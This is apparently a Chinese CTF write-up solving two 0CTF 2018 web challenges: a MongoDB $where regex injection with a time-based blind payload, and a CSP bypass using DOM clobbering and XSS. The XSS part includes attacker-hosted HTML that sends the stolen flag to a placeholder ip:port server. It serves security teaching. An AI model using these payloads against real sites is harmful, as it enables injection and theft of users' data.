LoginMe
这道题的writeup啃了一段时间,需要先入
的概念是:
- 1、这道题是利用正则进行注入
- 2、由于req.body的存在不一定要存在username和password参数
下面是作者的调试代码,1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26app.post('/check', function (req, res) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
console.log('=============================\n');
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
// 输出每步的替换结果
console.log('正在替换:' + k + ' -----> ' + req.body[k]);
console.log(check_function);
}
console.log(check_function);
var query = {"$where" : check_function};
console.log(query);
console.log('================================\n');
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send('ok');
// ... implementing, plz dont release this.
});
})
这里用到了LoRexxar’s Blog中使用的基于时间盲注
的方法,我们先看一下payload:1
|#|=&|this.*"\)|=&|==|[]=%7C%7Ceval(&%7C%22%22+%5C%5B%22%7C=a&%7Ca%22%7C=%2B&%7C%22%2B%7C=&%7C%22%22%5C%5D%2b%7C=aaaa&%7Caaaa%22%7C=%2B&%7C%5C)%7B%7C%5B%5D=bbb).match(/^1.*/i)){sleep(4000);}else{return%20&|\["|=&|""b|=%2b&|"bb|=&|return(\s.*)*0|=11111
首先我们先绕过正则
,我们可以通过|xxx|
来绕过左右两边的#
。比如提交|#|
,后台就变成#|#|#
,然后正则就会去匹配#
,然后把它替换,有了这一点这个payload就容易理解了。
而在这个payload中我们只需要不断的修改match(/^1.*/i)
进行匹配即可。我们先提交一下:
可以看到明显延迟了
4s
,然后我们从控制台的输出信息里去理解这个payload的原理:
1 | ============================= |
有了上面的说明,再加上调试信息,我们就很容易理解这个payload了。
Bl0g
这道题跟强网杯的Share your mind
有点相似,它是考察RPO
,这里是CSP
,但是触发方法都是一样的,都是提交url后用xss bot
激发。
首先这个站点的功能如下:
可以发现flag就在
/flag
下,但只有admin
才能查看,非常明显的xss
利用。
所以
粗略
的攻击链
就出来了,我们在/new
里插入恶意xss
,然后在/submit
中提交恶意的url,这个url的目的就是让bot
访问/flag
,然后传回flag。
所以我们先找到一个xss
,经过探测我们可以发现在/new
下post请求里的effect
参数没有做任何过滤。插入的效果如下:
这里虽然你已经插入了
script
,但由于CSP
的保护,你的内嵌script
的不能执行了,所以就没有了弹窗。相应的CSP
如下:1 | Content-Security-Policy:script-src 'self' 'unsafe-inline' |
相关的script-src
值及其含义如下:1
2
3
4'unsafe-inline':允许执行页面内嵌的<script>标签和事件监听函数
unsafe-eval:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数。
nonce值:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行
hash值:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。
注意到这里的script-src: 'self','nonce-oPxSn4qhUHs6fU+ftUe/xpPI8WM='
,说明它只允许加载本站的script
,而且script
必须有一个token
,就例如:
满足上述条件的
script
才能被执行,而很明显,我们插入的script
并没有token
,所以也就无法执行了。
然而题目还是有解的,我们查看下article.js
:1
2
3$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
});
可以发现这里存在动态
插入任意值的漏洞,所以,我们可以通过动态
插入script
标签来绕过CSP
。
effects
的定义可以在config.js
中找到
我们接下去的目的就是考虑能不能控制
effects
的值,下面引用了lorexxar
师傅的原话:
在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签
也就是说,我们可以通过effects获取到<form name=effects>
这个标签。同理,我们就可以通过插入这个标签来注册effects这个变量。再看看这些js
文件的导入顺序,我们发现config.js
是第一个被导入的。
所以我们传入:
1 | id"><form name=effects id="<script>alert(1)</script>"><script> |
效果如下:
可以看到payload最后一个
script
刚好把config.js
给闭合了,并且由于CSP
,闭合掉的script
标签没有token
并不能执行。再加上:1 | $("#effect").val() --> id |
所以成功的执行了弹窗测试。
接着就构造payload获取flag了,需要注意的一点是effect
参数最长只有70个字符,所以我们无法直接在/new
页面上获取到flag,这时候,我们在看/submit
里可以提交一个url,而http://202.120.7.197:8090/login?next=//www.baidu.com
是可以任意跳转的,所以我们可以让它跳转到自己的服务器上加载恶意代码,跟/new
打一个里应外合
。
首先我们构造出payload:1
effect=id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>
这里通过jquery get获取flag内容,通过箭头函数将返回赋值给window.name
。对于windos.name
的说明可以参考:
window.name(一般在js代码里出现)的值不是一个普通的全局变量,而是当前窗口的名字,这里要注意的是每个iframe都有包裹它的window,而这个window是top window的子窗口,而它自然也有window.name的属性,window.name属性的神奇之处在于name 值在不同的页面(甚至不同域名)加载后依旧存在(如果没修改则值不会变化),并且可以支持非常长的 name 值(2MB)。
然后我们在自己的服务器上放置如下html
:1
2
3
4
5<iframe src="http://202.120.7.197:8090/article/3788"></iframe>
<script>
setTimeout(()=>{frames[0].window.location.href='/'},1200)
setTimeout(()=>{location.href='http://ip:port/?'+frames[0].window.name},1500)
</script>
然后在相应的端口上做好监听,之后在/submit
提交你这个html文件的url地址。如:http://202.120.7.197:8090/login?next=//your_ip/evil.html
。
最后就能发现flag已经打到你的服务器上了。
参考链接:
http://www.ruanyifeng.com/blog/2016/09/csp.html
https://lorexxar.cn/2018/04/05/0ctf2018-blog/
https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup